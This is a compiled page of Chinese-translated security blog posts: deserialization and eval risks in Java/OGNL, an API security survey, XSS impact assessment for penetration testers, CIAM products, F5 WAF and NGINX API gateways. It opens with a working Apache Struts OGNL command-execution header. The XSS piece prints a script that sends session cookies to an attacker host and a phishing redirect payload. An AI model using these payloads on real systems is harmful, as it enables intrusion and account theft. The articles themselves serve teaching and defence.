Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
就像Ruby和Python的情况一样,Java受到意外评估利用评估机制的用户定义数据的影响。在这种情况下,问题不是Java本身的一部分,而是在OGNL(对象图导航语言)中,这是一个用于实现Apache Struts的包。
从Apache Project网站:OGNL“是一种表达式语言,用于获取和设置Java对象的属性,以及其他附加功能,如列表投影和选择以及lambda表达式。... OGNL最初是一种在UI组件之间建立关联的方法和使用属性名称的控制器。“
这种无害的机制导致了通往灾难的关键一步。
Apache Struts今年报告了另外三个RCE(远程代码执行)漏洞,最近的漏洞与Equifax漏洞同时发布。
Java社区在2015年遭遇了一个主要的序列化错误,几乎影响了每一家财富500强公司,但当年还出现了许多其他漏洞。在一系列序列化漏洞中,我很高兴看到有关Mattias Kaiser利用序列化的这篇内容丰富的演讲。他的演示文稿还包括T3协议中的几个WebLogic漏洞,这是WebLogic独有的专有协议,自从我在BEA Systems工作期间就没有听说过。
由于已知XML具有与XXE相关的风险,并且YAML具有上面列出的已知风险,因此许多组织已将JSON标准化为一种安全的序列化方式。
但是JSON受这些漏洞影响,正如我上面介绍的AirBnB情况。今年,在DEF CON和Black Hat USA上,AlvaroMuñoz和Oleksandr Mirosh发表了一篇题为“星期五13日:JSON攻击”的精彩演讲,内容涉及使用JSON的漏洞,这些漏洞应该会破坏任何一种虚假的安全感。 Java或.NET。
你可以做什么
知道是成功的一半。所有语言都有可能导致意外评估不受信任数据的怪癖。这不仅来自语言本身,而且来自应用程序中的框架,以实现更快或更优雅的实现。
典型的应用程序可能有数百个第三方框架。这些提供了强大的功能,但存在可以打开应用程序本身的电源的风险。
鉴于这种情况,请牢记这些最佳做法:
- 学习你的语言。 “Wat”谈话不仅具有娱乐性(令人沮丧),而且具有教育意义。
- 了解你的框架。在使用框架的优雅表达逻辑中,框架实际上在做什么?
- 使用静态代码分析器(如Brakeman for Ruby)来避免常见错误。
- 随时了解包裹。使用工具检查哪些软件包存在漏洞,并尽快升级。一旦漏洞被公布,脚本小子就会被锁定并加载 - 扫描尽可能多的网站以查找这些漏洞。
- 测试和检查。确保您拥有专业的笔测试人员来评估您的软件是否存在漏洞。
- 设计时考虑到安全性。安全不能是事后的想法。系统的实施应该以安全为重点。
- 让安全人员的工作,而不仅仅是他们的头衔中有“安全”的人。安全不仅仅是技术方面,而是事物如何完成的文化方面。
大多数人做了很多,如果不是全部,但仍然会发生妥协。为什么?因为分层防守投资不足。
分层你的防御
尽管我们采取了一切措施来阻止它们,但漏洞仍会发生。我们必须接受这一事实并采用深度防御方法,该方法结合了威胁的运行时监控和自动响应,以便在损坏或信息丢失之前阻止攻击。
纵深防御或分层防御只是拥有多个层,因此如果出现问题,您可以采用其他机制来缓解这种攻击。
许多公司依靠测试和扫描工具来确保它们没有漏洞。没有这样的保证是可能的。这些工具只提供预生产完成的单一防线。生产中的防御同样重要。
如果没有运行时防御,攻击者可以自由地利用有价值的数据,造成持久和灾难性的破坏。零日攻击在黑暗网络和国家演员不断购物。最好的方法是假设漏洞迟早会被利用。如果是这样,请确保您具有故障安全机制,以最大限度地减少恶意行为者可以实现的目标。
除了一些值得注意的例子 - 咳嗽,JavaScript,咳嗽语言的设计都考虑到了最不惊讶的原则。它们在不同程度上取得了成功,但还不足以消除遵循上述最佳实践的需要。
代码的强大功能可以帮助您构建有价值的系统,这也带来了羞辱性的危险,随着利用这些系统的激励措施不断增加,这些危险需要越来越多的警惕。
原文:https://techbeacon.com/security/how-programming-languages-can-hurt-your-applications-security
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 26 次浏览
【应用安全】调查:API越来越多的网络安全风险
像很多人一样,任何有点搜索的人都可以轻松访问您的手机号码。想象一下,如果有人可以使用此号码和您的姓名并获得您的手机帐户,包括帐单,电子邮件地址和电话IMSI。或者也许有人入侵了您的某个社交帐户并访问了您的联系信息和所有照片? T-Mobile和Instagram上的这些非常真实的场景都是由于应用程序编程接口(API)安全漏洞而发生的。要了解有关API使用的更多信息,Imperva委托One Poll研究250名IT经理安全专业人员的态度。
API为用户喜爱的交互式数字体验提供动力,是组织数字化转型的基础。但是,它们还为应用程序提供了一个窗口,该应用程序呈现出不断增长的网络安全风险。黑客喜欢API,因为它们提供了多种途径来访问公司的数据,并且可以以无意的方式一起使用,以启用利用Web和移动应用程序以及物联网设备的新攻击。
API安全调查显示,平均而言,公司管理着363种不同的API,而三分之二(69%)的组织正在向公众及其合作伙伴公开API。
如上所述,面向公众的API是一个关键的安全问题,因为它们是应用程序背后的敏感数据的直接向量。当被问及他们主要的API安全问题时,受访者表示他们最担心DDoS攻击和机器人,而24%的人表示他们最担心的是身份验证执行问题。
超过三分之二的公司对API安全性的处理方式与Web安全性不同,尽管IT安全性在78%的时间内由IT监督。百分之八十的组织使用公共云服务来保护其API背后的数据,大多数人使用API网关(63.2%)和Web应用防火墙(63.2%)的组合。
百分之八十的组织使用公共云服务来保护其API背后的数据,大多数人使用API网关(63.2%)和Web应用防火墙(63.2%)的组合
92%的IT专业人士认为DevSecOps是开发,安全和运营的结合,将在应用程序开发的未来发挥作用。这凸显了许多组织从软件开发的一开始就建立了安全性的愿望,而不是作为一种思想。
92%的IT专业人士认为DevSecOps是开发,安全和运营的结合,将在应用程序开发的未来发挥作用。
公司需要通过部署多层安全方法来关闭API风险带来的安全风险。要了解更多信息,请阅读“六种安全API方法”,并在此处阅读我们的完整调查结果。
原文:https://www.imperva.com/blog/survey-apis-growing-cybersecurity-risk/
本文:http://pub.intelligentx.net/survey-apis-growing-cybersecurity-risk
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 80 次浏览
【应用安全】跨站点脚本:如何超越警报
组织对其资产执行某种级别的渗透测试是司空见惯的。通过渗透测试,有责任修复任何已发现的漏洞或提出接受风险的案例。
许多企业主似乎愿意忽略的一个漏洞是跨站点脚本(XSS),更具体地说是反映的有效载荷。我从人们那里听到的最常见的论点是,你必须欺骗某人提交JavaScript,他们很快就会忽略这个漏洞,好像没有其他因素在起作用。这已成为一种非常普遍的现象,特别是在bug-bounty程序中。
HackerOne等网站允许组织确定哪些漏洞有资格获得奖励。当我看到一个程序说它不接受XSS作为漏洞时,我不得不质疑是否存在被误解的风险,风险可以忽略不计,或者已经报告了漏洞的问题。
不幸的是,在许多情况下,这是一个被误解的风险问题。
这就是为什么您需要超越通常作为XSS攻击证据的“警报”,以及评估漏洞风险时应考虑的关键因素。最终,这应该使您能够评估组织的风险,并帮助指导您提出执行渗透测试的人员或团队的正确问题。
什么是漏洞?
对于那些不熟悉XSS的人来说,它是一种特定的代码注入形式,其中用户输入以JavaScript的形式由Web浏览器解释和执行。此漏洞有三种高级类型:反射,持久和基于DOM。
在反射XSS的情况下,用户输入反映在Web浏览器中,而不会保存到数据库中。当开发人员想要提供更多信息而不仅仅是“出错”时,我们会在错误消息中看到这种情况,并且还包括错误中的用户输入。
在持久性XSS的情况下,用户输入被保存到数据库中。每当有人在Web浏览器中查看保存的值时,都会导致代码执行。这些形式的XSS中的每一种都依赖于处理用户输入的服务器,但是没有正确地验证/清理值。
基于DOM的XSS完全依赖于客户端代码。如果您正在检查源代码,通常会看到引用“$ location.url”或“this.parameterName”。参数值可能来自第三方站点,也可能来自包含上一页参数的页面重定向。
这些示例中的每一个都将信息存储在Web浏览器的内存中。如果使用白名单对某些值进行了清理或验证,则JavaScript可能会使用这些值并导致用户输入执行。
向用户显示的详细错误导致JavaScript执行。
上图显示了反射XSS的示例。渗透测试人员使用的常见负载是:
<script>alert(1)</script>
不幸的是,这是许多渗透测试停止的地方,导致反应不足,“你可以弹出警报;那么什么?”
确定影响
您作为渗透测试人员的下一步应该是从开发角度确定我们必须使用的内容。一个常见的起点是网站上的其他漏洞。
例如,如果设置了会话cookie并且缺少HTTPOnly标志,我们可以使用一些代码向自己发送值:
<script>document.location='http://malicioussite.com/'+document.cookie;</script>
获得会话令牌后,在本地设置值可以让我们访问用户的帐户。从不同的角度攻击网站,如果您有无限的空间可以使用,您可以制作一个提示输入用户名和密码的HTML表单。这需要一些编码经验。
您还可以使用SEToolkit克隆登录页面,然后使用下面的JavaScript将用户重定向到克隆页面并尝试欺骗他们向您发送用户名和密码。
<script>window.location.replace("http://ourMaliciousSite.com/login");</script>
每个示例都侧重于获取对用户帐户的访问权限,因为作为渗透测试人员,这通常会对我们的许多客户产生最大的影响。可以更改这些脚本示例以收集组织可能重视的任何形式的敏感信息。
虽然理论上这一切都很好,但你仍然必须以一种不易识别的方式提供有效载荷,或者不会引起人们注意我们正在做一些邪恶的事情。
确定可能性
在尝试评估XSS的风险时,您必须考虑许多不同的因素,第一个因素是有效负载的交付方式。
在存储XSS的情况下,这非常简单;我们的JavaScript被保存到数据库中,当在网页中填充值时,它就会执行。对于DOM和反射的有效负载,我们必须考虑如何将JavaScript传递给受害者,以便演示攻击者如何获取要解释的代码。
为此,我们想要列出一个场景:有一个用户表单要求用户在提交信息之前登录。此表单的POST参数之一易受反映的XSS影响。该网站还在有人浏览网站的整个过程中强制使用HTTPS,并且还强制执行HTTP严格传输安全性。
那么,作为攻击者,我们如何强制用户登录并提交我们的有效负载?
要回答这个问题,我们首先来看一下网站的配置方式。第一个障碍是POST参数。我们的首选方法之一是寻找跨站点请求伪造(CSRF),这将允许我们构建自己的网页,我们可以在其中制作POST请求。然后我们要做的就是让用户访问该页面并单击一个按钮。
同样,如果站点使用HTML5的跨源资源共享,我们可以检查站点是否信任任意域以向服务器发出请求。
突出显示的响应标头显示服务器接受来自任何域的请求(用*表示),并允许第三方域处理凭据。
搞清楚身份验证
因此,我们有将有效负载转换为POST参数的方法,但现在我们需要解决身份验证问题。我们需要确保用户已登录才能使我们的交付方式正常工作。
我们首先查看初次登录后用户会话的活动时间;通常会找到有效期为五天或更长的会话cookie。如果在关闭选项卡或窗口时会话未到期,那就更好了。这是更好的,因为现在我们不需要我们的受害者在我们交付有效载荷时使用网站,我们从他们最后一次登录后有五天发送给他们!
我们的下一步是以无缝方式包装所有这些,不会引起任何危险信号。如果网站具有内置聊天功能,可以与员工,甚至技术支持人员交谈,这可能是完美的。我们知道用户将登录,我们知道可能拥有比我们更多权限的人。
如果网站没有聊天功能,攻击者始终可以定位网站的“联系我们”页面。这些页面通常允许用户向内部员工提交自由格式问题。我们现在需要的只是一个小小的欺骗:我们向他们发送了一个链接到我们的站点,它将提交JavaScript,并且运气不好,他们不会注意到我们正在试图窃取他们的凭据。
如果我们正在窃取会话cookie,那么大部分内容都应该在受害者的互动很少的情况下发生。
把它放在一起
因此,回顾一下我们到目前为止所涵盖的内容:我们了解恶意行为者将对特定漏洞做些什么,以及完成任务所需的代码和技术知识。我们知道可以利用其他漏洞来实现所有这些,并且我们知道在构建漏洞利用时谁将成为目标。
综合所有这些因素,我们有一个很好的起点来确定XSS漏洞的实际整体风险。下一步是初步决定风险是否为组织所接受,或者您的组织是否不想接受风险并修复漏洞。
TL; DR
我们已经概述了可以组合使用的多个漏洞,以实现我们执行JavaScript XSS有效负载的最终目标。这通常被称为攻击链。我们使用的每个组织都以不同的方式配置其应用程序,并且可能针对如何利用漏洞具有不同的攻击链。
了解攻击的每个步骤,恶意行为者利用每个步骤的难度(或容易程度)以及目标访问或信息非常重要。所有这些都是帮助评估每个漏洞风险的关键。
即使存在旧的漏洞或可能无法直接危害服务器和敏感信息的漏洞,也值得采取退步并从整体上看待环境。如果对利用此漏洞需要什么或者恶意行为者试图通过XSS漏洞实现什么有任何疑问,请询问您的渗透测试人员可以帮助您获得这些答案。
讨论:请加入知识星球【首席架构师圈】
- 33 次浏览
【应用安全架构】通过UMM学习身份和访问管理系统
作为一名 IT 架构师,我被要求向我的客户介绍统一 IT 组件的概念,该组件可以在分布式 IT 环境中管理用户的身份和权限。 问题在于,该组件不仅应处理在标准招聘流程中收集的员工数据,还应处理也是系统用户的合作伙伴、承包商和客户。
什么是 CIAM?
随着在线设备 (IoT) 的爆炸式增长以及客户对安全性和隐私的更高期望,公司必须想办法确保他们的客户可以随时通过任何设备安全、安全地使用他们的应用程序或服务。 这就是引入客户身份和访问管理 (CIAM) 的地方。 CIAM 允许对具有经过验证的身份、安全性和可扩展性的资源进行自适应、客户友好的访问。
Figure 1 CIAM pillars
CIAM 对于需要用户注册身份和创建帐户的面向公众的应用程序是必需的。 采用 CIAM 的趋势受到各种用例的推动,包括有针对性的营销以增加收入、对客户进行身份验证以启用单点登录、提供更好的用户体验以及法规遵从性。 CIAM 软件可帮助组织安全有效地管理客户数据,包括客户的身份和活动。
有了它,客户不再需要注册帐户或以其他方式提供信息来使用每个品牌接触点(例如应用程序、网站和帮助台门户)。 该软件需要提供整个客户群及其物联网环境的单一视图。 这样的解决方案鼓励客户更频繁地使用该软件,从而有可能更频繁地销售。
Figure 2 CIAM trends
CIAM 作为面向公众的 IAM
CIAM 作为更大的身份访问管理 (IAM) 概念的一个子集,专注于管理需要访问公司网站、门户网站和电子商务的客户的身份。 不是在公司的软件应用程序的每个实例中管理用户帐户,而是在集中式 CIAM 组件中管理身份,从而使身份的重用成为可能。 IAM 和 CIAM 的核心功能构建块和协议在身份验证、授权、目录服务和生命周期管理等领域保持不变。 另一方面,面向客户的 IAM 需要更灵活的身份验证和更简单的授权模型。 并非没有意义的是,更高的可扩展性要求和遵守法规的额外努力,例如管理欧盟用户隐私的 GDPR。
Figure 3 CIAM vs IAM features
CIAM 的主要功能还包括用于注册的自助服务、密码和同意管理、配置文件管理、报告和分析(即用于营销目的)、用于移动应用程序的 API 和 SDK,以及社交身份注册和登录。
全渠道和改善客户体验的想法导致开发可以利用新业务机会的新功能。自适应访问应识别动态标识符,例如客户的位置、设备、IP 地址和其他供应商收集的数据。例如,系统会提示使用新设备登录敏感应用程序的客户进行 MFA。另一方面,使用之前注册的移动设备登录的客户可以使用无密码身份验证,从而提高安全性和可用性。
Gartner 说
CIAM 和其他 IAM 部署之间的重叠继续增长。 CIAM 用例越来越需要身份生命周期等重要 IAM 要求,以对抗恶意攻击者。审计、报告和控制分析对于将 CIAM 部署与组织的安全和 DevOps 流程紧密联系起来也很重要。此外,围绕集成 SDK/API 和自助服务的常见 CIAM 要求现在正在用于现代应用程序开发的 IAM 解决方案,以及获得消费者体验期望的员工。 CIAM 和 IAM 的这种单一实施可以提供运营效率,并且还应该适应企业及其用户不断变化的需求。
Gartner 在其报告(2019 年)中提供了一系列供应商,这些供应商是面向客户的访问管理解决方案的领导者:Okta、Microsoft、Ping Identity、IBM。
是时候介绍 UMM
受到 UMM 在 Zoetis 案例研究中的鼓励,我决定回顾一下这个不太受欢迎的解决方案,涉及上面列出的市场领导者。我专注于大多数 CIAM 解决方案中引入的众所周知的常见功能。
常见的 CIAM 功能 |
微软 Azure AD B2C | Okta 客户身份 | Ping 客户身份 |
BlueSoft UMM |
预定义的 注册表单 |
✓ | ✓ | ✓ | |
自助登记 | ✓ | ✓ | ✓ | ✓ |
密码管理 | ✓ | ✓ | ✓ | ✓ |
SSO | ✓ | ✓ | ✓ | ✓ |
身份联盟 | ✓ | ✓ | PingFederate | ✓ |
角色和组 | Azure AD | ✓ | ✓ | |
MFA | ✓ | ✓ | ✓ | ✓ |
规则和 政策引擎 |
✓ | ✓ | ✓ | ✓ |
同意和 隐私管理 |
✓ | ✓ | ✓ | |
配置文件生 成和管理 |
✓ | ✓ | ✓ | ✓ |
渐进式分析 | ✓ | ✓ | ✓ | |
应用程序的 身份验证 和授权 |
✓ | ✓ | ✓ | ✓ |
通知 | Via RESTful | ✓ | ✓ | ✓ |
身份存储库 | ✓ | ✓ | ✓ | ✓ |
社会身份 注册和登录 |
✓ | ✓ | ✓ | ✓ |
用于移动应用 程序的 API 和 SDK |
✓ | ✓ | ✓ | ✓ |
ETL/批量 数据同步 |
✓ | ✓ | ✓ | |
数字身份证明 | ✓ | ✓ | ✓ | |
报告和分析 | Application Insight | ✓ | ✓ | |
审计/日志管理器 | ✓ | ✓ | ✓ | ✓ |
邀请机制 | as a custom policy | ✓ | ||
OpenID Connect、 OAuth 2.0 和 SAML 支持 |
✓ | ✓ | ✓ | ✓ |
API保护 | ✓ | ✓ | ✓ | ✓ |
交付 | cloud | cloud, on-premises | cloud, on-premises | cloud, on-premises |
根据上表中收集的分析结果,很明显 UMM 解决方案涵盖了所有常见功能。
用户管理模块是经过验证的(至少两个商业用例)、高度可用、易于自适应的 CIAM 解决方案,可以在云以及本地基础设施中交付。 允许安全有效地与旧系统集成。 拥有广泛的规则引擎可以缩短市场适应业务需求的时间。 乍一看,这并不比市场领导者提供的要少,甚至在某些情况下更多。 更重要的是,由于丰富的功能组合,它也可以被认为是IAM解决方案,可以带来很多好处。
- 46 次浏览
【网络安全】WAF - 是什么,在哪里,如何以及为什么?
在一个每天都会出现新的网络攻击并出现的世界中,我们必须不断寻找和建立新的安全控制和保护机制。目前发现的最常见的网络安全威胁通常涉及数据泄露并且发生在应用程序级别,这就是许多NGFW和IPS / IDS系统无法抵御此类攻击的原因。此外,大多数通信 - 尤其是那些集成在Web应用程序中的通信 - 最近都被加密,这给这些设备带来了额外的问题。 Web应用程序防火墙,即WAF产品专为Web应用程序设计 - 它们在应用程序级别分析每个HTTP请求,并提供SSL / TLS流量的完全解密。
想更多地了解Web应用程序防火墙?观看视频(https://veracompadria.com/en/f5-networks-web-application-firewall-video/)!
WAF产品对于建立有效的多层保护至关重要。 Web应用程序防火墙背后的技术在过去几年中并没有真正改变。 WAF系统检查符合RFC文档的请求,并应用不同的攻击签名比较来确定请求是否有效。添加了新功能以通过WAF应用程序实现用户会话和行为监控,旨在防止潜在的暴力攻击和会话劫持。还添加了基于IP信誉的过滤和源,以阻止已知的攻击源,如僵尸网络,匿名者和类似威胁。大多数WAF产品仍然使用相对被动的技术和机制来检查客户端的能力有限或没有。
将WAF设备定位在网络通信应用环境中
经常弹出的一个问题是放置这种设备的位置?当然,有多个解决方案。用户和目标应用程序之间的通信路径通常具有可以设置WAF设备的多个点。但是,这并不意味着这些要点中的每一个都同样有利。理想情况下,WAF将在用于在任何给定环境中执行负载分配和流量优化的系统后面实施。这使其能够优化使用,性能和可靠性,同时为数据中心应用程序提供保护 - 特别是如果此类应用程序是公开可用的。
现代网络世界中的威胁景观
当今IT系统面临的大多数威胁都是自动化的,攻击者使用自动应用程序扫描来搜索新的漏洞。分布式拒绝服务(DDoS)攻击是完全自动化的,可以产生超过1Tbps的大量基于洪水的攻击。自动攻击很难被发现,因为它们通常被设计为模仿完全合法的流量。 CAPTCHA和类似技术用于检测此类攻击;但是,这些验证方法已被证明是不够的,并且经常会损害合法用户的体验。
还出现了全新的威胁,例如凭证填充。凭据填充是一种特殊类型的攻击,在先前的攻击期间被盗的数百万用户名和密码组合被用于获取对用户帐户的未授权访问。根据最近的威胁报告,窃取帐户凭据的利用是2017年最常见的攻击类型。凭证填充攻击非常难以检测,因为恶意流量不仅看起来合法,而且通常执行速度非常慢,以避免被检测为蛮力攻击。
恶意软件始终存在于所有在线环境中,用于利用浏览器漏洞和屏幕另一侧的目标用户。有许多方法可以分发和传播恶意软件 - 从电子邮件附件到社交网络和广告上共享的恶意链接。受恶意软件感染的计算机用于执行DDoS攻击,身份盗用和收集数据。除非客户机由经验丰富的IT团队监督,否则可用的检测和缓解方法是有限的。
最后,还有DDoS攻击。它们不仅仅是体积本质的。许多也是计算 - 用于消耗CPU和内存等资源 - 并且会降低应用程序或数据库服务器的性能。检测DDoS攻击可能相对困难,因为大多数此类攻击似乎是有效流量,通常与标准传入数据检查一致。
简而言之,这些攻击可以被忽视并绕过几乎所有传统的WAF解决方案,因为它们看似完全合法。由于越来越多的受损设备变得更加多样化,IP信誉数据库和供稿的功能也有所瘫痪:调制解调器,物联网设备......毫无疑问,我们需要更先进的WAF设备和技术来保护自己来自这些新兴威胁。
F5应用程序安全管理器 - ASM
F5 ASM(应用程序安全管理器)是经过认证的Web应用程序防火墙(WAF),可通过网络应用程序层提供全面,主动的保护,免受一般和有针对性的攻击。与大多数其他Web应用程序防火墙一样,ASM使用一种积极的安全模型,在该模型下,在明确允许之前禁止所有流量。这种逻辑意味着ASM只允许有效,非恶意和授权的请求,并自动保护关键Web应用程序免受适当的攻击。 Application Security Manager可保护您的系统免受各种应用程序,基础架构和网络攻击,如跨站点脚本,SQL注入攻击,cookie /会话中毒,参数篡改,强制浏览,DOS攻击等等...... BIG-IP ASM保护应用程序基于全面的安全策略,无论它们位于传统,虚拟还是私有云环境中。 ASM评估威胁并防止其执行,提供可见性和高度灵活性,这有助于确保Web应用程序的平稳,可靠和安全性能。
图中显示了Web应用程序暴露于攻击的百分比,OWASP将其列为十大最常见的Web应用程序风险。 用户可以实施ASM来保护他们的系统免受所有此类风险的影响,并且还可以利用集成的安全规则和攻击模式来保护整个类别的HTTP和HTTPS威胁。 ASM是唯一的Web应用程序防火墙,它可以监视和记住它所保护的应用程序的正常行为,并可以防止所有偏离正常应用程序行为的攻击。
先进的WAF技术 - F5高级WAF
F5最近在其产品组合中添加了一款名为“Advanced WAF”的产品,再次证实了为什么F5是WAF技术的市场领导者。 高级WAF提供了检测和缓解当今在线世界中存在的高级攻击所需的所有机制。
此安全解决方案的各种功能包括:
- 主动Bot防御 - 利用指纹识别技术和挑战/响应技术与行为分析相结合,实现会话级威胁检测并阻止自动威胁。这是一种比依靠IP信誉数据库防止僵尸网络攻击更加先进和高效的解决方案。
- 第7层行为DoS检测和缓解 - F5高级WAF能够动态分析流量并为异常流量模式创建签名,在DDoS攻击到达您的应用程序之前阻止它们。
- DataSafe - 通过动态,动态和实时加密页面内容提供凭据保护,以防止恶意软件引起的浏览器中的攻击。 DataSafe还对用户即时和实时输入浏览器的数据进行加密。
- Anti-Bot Mobile SDK - 使用移动应用程序时不存在浏览器,这意味着PBD保护会失去效率。 Anti-Bot Mobile SDK可以帮助防止即使在移动设备上发生僵尸网络攻击。
最后的想法…
在我们使用大量应用程序和软件解决方案进行大多数私人和业务通信的时候,我们应该将注意力集中在保护它们上。在过去一年中,42%的网络攻击目标企业指向外部资源,两种最广泛使用的攻击方法针对Web应用程序和各种软件漏洞。恶意来源不断攻击应用程序,这就是安全专业人员正在寻找WAF设备来保护Web应用程序免受大多数复杂攻击(包括零日攻击)以及确保所有形状和格式的应用程序安全的原因。 F5 Advanced WAF是一个专用安全平台,提供当今市场上最先进的应用程序安全功能。
原文:https://veracompadria.com/en/waf-what-where-how-and-why/
本文:https://pub.intelligentx.net/waf-what-where-how-and-why
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 54 次浏览
【网络架构】使用NGINX整合您的API网关和负载平衡器
既然软件负载平衡器是现代DevOps驱动的组织中的标准,那么我们为自己创造了什么新的挑战呢?我们如何应对“代理扩张”的复杂性?我们可以在不损害性能、稳定性和功能的情况下进行整合吗?
web和应用程序交付领域的大多数专业人士都熟悉硬件应用程序交付控制器(ADC)市场的发展轨迹。硬件adc开始是智能的、负载均衡的路由器,并迅速发展成为交付高流量或业务关键应用程序的标准方式。
在不断增加收入的压力下,硬件ADC厂商将一个又一个特性捆绑到他们的设备中——SSL VPN?虚拟桌面代理吗?链路负载均衡?当然,我们可以做到!硬件设备变得越来越复杂和笨重,用户发现拥有和操作这项基本技术的成本越来越高。
在现代企业中,软件正在取代硬件adc
随着硬件adc在自身的重压下开始崩溃,DevOps团队转向重量更轻的软件替代品,以满足他们的应用程序交付需求。基于软件的解决方案使用熟悉的开源技术——NGINX反向代理、ModSecurity web application firewall (WAF)、Varnish缓存、HAProxy负载均衡器——取代了硬件替代品。软件可以在每个应用程序的基础上轻松有效地部署,直接控制应用程序所有者,并支持DevOps团队支持的敏捷交付过程。
如果你调查一下这些部署中的一种,你会发现类似的情况并不少见:
应用程序团队为他们的应用程序创建复杂的应用程序交付层
软件生态系统充满了针对DevOps工程师所面临的每个问题的单一目的和点解决方案。每个新的用例都使用构建在反向代理上的一组新的解决方案来解决。例如,API网关产品的出现是因为需要管理API流量、应用路由、身份验证、速率限制和访问控制策略来保护基于API的服务。
软件必须超越点解决方案
点解的爆炸式增长显然给DevOps工程师带来了一个问题。他们必须熟悉部署、配置、更新和监视每个解决方案的过程。故障排除变得更加复杂,特别是当问题产生于不同解决方案之间的交互时。
历史似乎在重演:就像特定用途的硬件设备的激增导致了在单个ADC上整合许多功能一样,DevOps团队现在需要通过将软件功能整合到一个平台上来降低复杂性和简化他们的基础设施。但是这一次,避免以前使用硬件负载平衡器所犯的错误是很重要的。如果统一的解决方案性能不佳,操作复杂,或者在每个应用程序的基础上部署成本高得令人望而却步,那么它就没什么用。
使用NGINX和NGINX Plus合并应用程序交付堆栈
大多数DevOps工程师已经非常熟悉NGINX,这是一个开源web服务器和反向代理,它提供了世界上最繁忙的网站,比任何其他解决方案都多。
组织使用开源NGINX构建各种特定的解决方案,从分布式内容交付网络(CDNS,如CloudFlare、CloudFront和MaxCDN)到本地API网关。NGINX也是许多开源和商业点解决方案的核心,包括商业负载平衡器和来自Kong和3scale的API网关。
NGINX Plus是由开源NGINX背后的团队开发的。它通过将多个功能(身份验证、反向代理、缓存、API网关、负载平衡等等)合并到一个软件平台中,从而消除了对复杂的点解决方案链的需求。它可以很容易地通过认证模块进行扩展,以添加WAF(带有用于ModSecurity、hidden Security和Wallarm的模块)、高级身份验证(Curity、Forgerock、IDFConnect、Ping Identity)和可编程性(NGINX JavaScript、Lua)等功能。
NGINX Plus整合了SSL、WAF、缓存、API网关、负载平衡等功能
变成一个单一的平台
NGINX Plus对DevOps工程师的好处远远不止于功能的整合。丰富的RESTful API提供了对NGINX Plus及其负载平衡后端服务器的健康状况和性能的深入了解。动态重新配置和服务发现集成简化了NGINX Plus在云或Kubernetes等流体环境中的操作。NGINX Plus中的集群功能使您能够以可靠的HA方式跨集群分发流量和共享运行时状态。
在不损害性能的情况下实现整合
建立在开源NGINX之上的第三方解决方案不具备NGINX附加功能、api和集群的优势。此外,许多解决方案依赖于第三方语言(Lua是最流行的)来实现它们的附加功能。Lua是一种非常强大的语言,但它对NGINX造成了不可预测的性能损失,这在很大程度上取决于第三方扩展的复杂性。
NGINX Plus不会损害开源NGINX的高性能或轻量级特性。核心NGINX Plus二进制文件的大小只有1.6 MB,能够在工业标准硬件上每秒处理超过100万次请求、70 Gbps吞吐量和65,000个新的SSL事务,具有现实的、生产就绪的配置。新的功能是由核心的NGINX团队在过程模块中实现的,就像在开源的NGINX中一样,因此您可以确保每个特性的性能、稳定性和质量。
API网关用例
DevOps团队可以使用NGINX Plus来满足许多用例,API gateway就是一个突出的例子。下表显示了NGINX Plus作为API网关如何满足管理来自外部源的API请求并将其路由到内部服务的许多需求。
API gateway requirement | NGINX Plus solution | |
---|---|---|
Core protocols | REST (HTTPS), gRPC | HTTP, HTTPS, HTTP/2, gRPC |
Additional protocols | TCP‑borne message queue | WebSocket, TCP, UDP |
Routing requests | Requests are routed based on service (host header), API method (HTTP URL) and parameters | Very flexible request routing based on Host header, URL, and other request headers |
Managing API life cycle | Rewriting legacy API requests, rejecting calls to deprecated APIs | Comprehensive request rewriting and rich decision engine to route or respond directly to requests |
Protecting vulnerable applications | Rate limiting by APIs and methods | Rate limiting by multiple criteria, including source address, request parameters; connection limiting to backend services |
Offloading authentication | Examining authentication tokens in incoming requests | Support for multiple authentication methods, including JWT, API keys, external auth services, and OpenID Connect |
Managing changing application topology | Implementing various APIs to accept configuration changes and support blue‑green workflows | APIs and service‑discovery integrations to locate endpoints; APIs may be orchestrated for blue‑green and other use cases |
作为一个统一的解决方案,NGINX Plus还可以轻松地管理web流量,在协议(HTTP/2和HTTP、FastCGI、uwsgi)之间进行转换,并提供一致的配置和监视接口。NGINX Plus足够轻量级,可以部署在容器环境中,或者作为一个资源占用最少的sidecar。
使用NGINX Plus增强API网关解决方案
开源NGINX最初是作为HTTP (web)流量的网关开发的,其配置的基本类型是用HTTP请求表示的。这些与您期望配置API网关的方式相似,但并不相同,因此DevOps工程师需要了解如何将API定义映射到HTTP请求。
对于简单的api,这很简单。对于更复杂的情况,我们最近的三部分系列博客描述了如何将一个复杂的API映射到NGINX Plus中的服务,然后处理许多常见的API网关任务:
- 重写API请求
- 正确应对错误
- 管理用于访问控制的API密钥
- 检查JWT令牌以进行用户身份验证
- 速度限制
- 强制执行特定的请求方法
- 应用细粒度访问控制
- 控制请求的大小
- 验证请求的身体
- 路由、验证、检查和保护gRPC流量
- Rewriting API requests
- Correctly responding to errors
- Managing API keys for access control
- Examining JWT tokens for user authentication
- Rate limiting
- Enforcing specific request methods
- Applying fine‑grained access control
- Controlling request sizes
- Validating request bodies
- Routing, authenticating, checking, and protecting gRPC traffic
结论
由于DevOps团队严重依赖软件组件来交付和操作他们的应用程序,硬件adc已经被边缘化。开源NGINX被认为是大多数应用程序交付栈的关键部分。
